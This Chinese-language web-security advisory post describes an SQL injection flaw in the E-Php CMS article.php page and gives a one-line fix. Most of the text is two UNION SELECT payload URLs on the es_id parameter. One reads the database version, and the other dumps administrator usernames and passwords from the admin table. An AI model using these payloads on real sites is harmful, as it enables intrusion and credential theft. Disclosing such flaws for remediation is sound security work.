E-Php 内容管理系统SQL注射及修复 - 网站安全

E-Php 内容管理系统SQL注射及修复 - 网站安全 - 自

来源：自学PHP网时间：2015-04-17 15:08 作者：阅读:次

[导读] 漏洞类型：SQL注入漏洞描述：E-Php Content Management System （CMS），article.php页面存在SQL注射。漏洞测试：http://target/path/cms/article.php?es_id=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11,12http://target/pat...

漏洞类型：SQL注入
漏洞描述：E-Php Content Management System （CMS），article.php页面存在SQL注射。

漏洞测试：

http://target/path/cms/article.php?es_id=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11,12

http://target/path/cms/article.php?es_id=-1+union+select+1,group_concat(es_admin_name,0x3a,es_pwd),3,4,5,6,7,8,9,10,11,12+from+ephpcat_admin

修复：

过滤article.php页面

URL地址传参问题（防止黑客攻击） - 网站安全

对某航空媒体运营商网站的友情检测(序文提权

子栏目

E-Php 内容管理系统SQL注射及修复 - 网站安全 - 自

最新评论

添加评论

更多文章推荐

添加评论